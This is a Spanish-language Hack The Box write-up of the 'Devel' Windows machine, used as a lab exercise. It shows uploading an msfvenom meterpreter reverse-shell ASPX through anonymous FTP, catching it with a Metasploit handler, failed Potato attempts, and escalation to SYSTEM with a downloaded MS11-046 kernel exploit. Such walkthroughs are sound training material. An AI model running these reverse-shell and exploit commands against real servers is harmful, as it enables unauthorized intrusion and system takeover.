Devel
Hack The Box — Metodología Detallada
Devel
| IP: | 10.129.26.35 |
| OS: | Windows |
| Dificultad: | Easy |
| Fecha: | 13 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.26.35 -oG allPorts
# Output
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
Se identificaron dos puertos abiertos: el puerto 21 (FTP) y el puerto 80 (HTTP). Se procedió al escaneo de versiones para identificar los servicios exactos.
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Hallazgo: el escaneo de versiones reveló dos vectores de interés. El puerto 80 corre Microsoft IIS 7.5 con el método HTTP TRACE habilitado. El puerto 21 permite login anónimo (FTP Anonymous), lo que permite acceder al servidor sin credenciales. Además, el propio nmap listó el contenido del directorio FTP, mostrando archivos característicos de una instalación de IIS.
Enumeración
Enumeración del servidor FTP
Se conectó al servidor FTP con el usuario anonymous para explorar su
contenido:
ftp [email protected]
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
ftp> cd aspnet_client
ftp> cd system_web
ftp> ls
03-18-17 02:06AM <DIR> 2_0_50727
ftp> cd 2_0_50727
ftp> ls
226 Transfer complete. (directorio vacio)
Se exploró el directorio aspnet_client hasta system_web/2_0_50727,
que estaba vacío. Al analizar la estructura completa se identificó el
vector de ataque.
Hallazgo: el directorio raíz del FTP correspondía al webroot del
servidor IIS. Los archivos iisstart.htm y welcome.png son los
archivos de la página de bienvenida por defecto de IIS, y el directorio
aspnet_client es exclusivo de instalaciones IIS/ASP.NET.
Hipótesis: si el usuario anónimo del FTP tenía permisos de escritura
sobre este directorio, sería posible subir un archivo .aspx malicioso
y ejecutarlo desde el navegador para obtener RCE.
Explotación
Generación del payload y subida por FTP
Se generó un payload ASPX con msfvenom y se subió al servidor mediante FTP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=4444 -f aspx -o shell.aspx
[-] No arch selected, selecting arch: x86 from the payload
Payload size: 355 bytes
Final size of aspx file: 2914 bytes
Saved as: shell.aspx
ftp> put shell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2954 bytes sent in 0.0001 seconds (27.8265 Mbytes/s)
ftp> ls
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
07-10-26 11:02AM 2954 shell.aspx
03-17-17 05:37PM 184946 welcome.png
Hallazgo: el servidor aceptó la subida del archivo sin errores de permisos, confirmando que el usuario anónimo de FTP tenía acceso de escritura sobre el webroot de IIS.
Obtención de Meterpreter
Se inició el listener en Metasploit y se accedió al payload desde el navegador:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.15.163
set LPORT 4444
run
curl http://10.129.26.35/shell.aspx
[*] Sending stage (177734 bytes) to 10.129.26.35
[*] Meterpreter session 1 opened (10.10.15.163:4444 -> 10.129.26.35:...)
meterpreter > getuid
Server username: IIS APPPOOL\Web
Obtención de la flag de usuario
meterpreter > shell
c:\windows\system32\inetsrv> type C:\Users\babis\Desktop\user.txt
[flag de usuario obtenida]
Escalada de Privilegios
Enumeración de privilegios
c:\windows\system32\inetsrv> whoami /priv
Privilege Name Description State
============================= ========================================= ========
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\windows\system32\inetsrv> echo %PROCESSOR_ARCHITECTURE%
x86
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
Hallazgo: el privilegio SeImpersonatePrivilege estaba habilitado.
Sin embargo, el sistema es Windows 7 x86, lo que impidió usar las
herramientas habituales de escalada:
Intentos fallidos con herramientas Potato
Nota: Se probó JuicyPotato, Churrasco y RoguePotato. Ninguno funcionó por incompatibilidad de arquitectura o de usuario.
Intento 1 — JuicyPotato x64 (incompatible):
C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\shell2.exe -t * -c {CLSID}
This version is not compatible with the version of Windows you're running.
Check whether you need a x86 (32-bit) or x64 (64-bit) version.
Por qué no funcionó: el binario de JuicyPotato disponible era de 64
bits (x64) pero Windows 7 en esta máquina es de 32 bits (x86). No se
encontró un binario x86 disponible públicamente.
Intento 2 — Churrasco (usuario incorrecto):
C:\Windows\Temp\churrasco.exe -d "C:\Windows\Temp\shell2.exe"
/churrasco/--> Current User: Web
/churrasco/--> Process is not running under NETWORK SERVICE account!
/churrasco/--> Couldn't find NETWORK SERVICE token
Por qué no funcionó: Churrasco requiere que el proceso corra como
NETWORK SERVICE, pero el proceso corra como IIS APPPOOL\Web, una
identidad de application pool que Churrasco no soporta.
Intento 3 — RoguePotato x64 (incompatible):
C:\Windows\Temp\rp.exe -r 10.10.15.163 -e "shell2.exe" -l 9999
This version is not compatible with the version of Windows you're running.
Por qué no funcionó: mismo problema que JuicyPotato — binario de 64 bits en un sistema de 32 bits.
Escalada exitosa — MS11-046 (Kernel Exploit)
Ante la imposibilidad de usar herramientas basadas en token
impersonation, se optó por un exploit de kernel. Windows 7 Build
7600 sin parches (Hotfix(s): N/A) es vulnerable a MS11-046
(CVE-2011-1249), una vulnerabilidad en el driver afd.sys que permite
escalada de privilegios local en Windows x86.
wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS11-046/ms11-046.exe
Se subió el exploit desde Meterpreter:
meterpreter > upload ms11-046.exe C:\\Windows\\Temp\\ms11-046.exe
[*] Uploaded 110.17 KiB of 110.17 KiB (100.0%)
Se ejecutó el exploit:
c:\windows\system32\inetsrv> C:\Windows\Temp\ms11-046.exe
c:\Windows\System32> whoami
nt authority\system
Resultado: el exploit escaló directamente a NT AUTHORITY\SYSTEM
sin necesidad de credenciales ni configuración adicional.
Reflexión Final
Qué salió bien
-
Se identificó correctamente que el directorio FTP correspondía al webroot de IIS al reconocer los archivos característicos (
iisstart.htm,aspnet_client). -
El vector de ataque (FTP write access + IIS ASPX) fue identificado y ejecutado de forma fluida.
-
Ante el fallo de las herramientas de token impersonation por incompatibilidad de arquitectura, se pivotó correctamente hacia un exploit de kernel.
Qué salió mal o costó más
-
Se invirtieron varios intentos con JuicyPotato, Churrasco y RoguePotato antes de identificar que el problema era la arquitectura x86 del sistema y la identidad del proceso (
IIS APPPOOL\Weben lugar deNETWORK SERVICE). -
No se encontró una versión x86 de JuicyPotato públicamente disponible, lo que obligó a buscar alternativas.
Lecciones aprendidas
-
Antes de intentar herramientas de token impersonation en Windows, siempre verificar:
echo %PROCESSOR_ARCHITECTURE%para confirmar si el sistema es x86 o x64, y asegurarse de usar el binario correcto. -
Churrasco solo funciona con procesos que corren como
NETWORK SERVICEoLOCAL SERVICE, no con identidades de application pool de IIS (IIS APPPOOL\nombre). -
MS11-046 (CVE-2011-1249) es el exploit de kernel de referencia para Windows 7 x86 sin parches. El binario precompilado del repositorio
SecWiki/windows-kernel-exploitsfunciona directamente sin configuración. -
El login anónimo de FTP con acceso de escritura al webroot de IIS es una misconfiguration crítica que permite RCE inmediato — subir un
.aspxmalicioso y ejecutarlo desde el navegador. -
msfvenom selecciona automáticamente la arquitectura x86 cuando no se especifica y el payload es para Windows genérico:
windows/meterpreter/reverse_tcpgenera un payload x86 por defecto.
Tiempo total
Tiempo total invertido en la resolución de la máquina: aproximadamente 1.5 horas.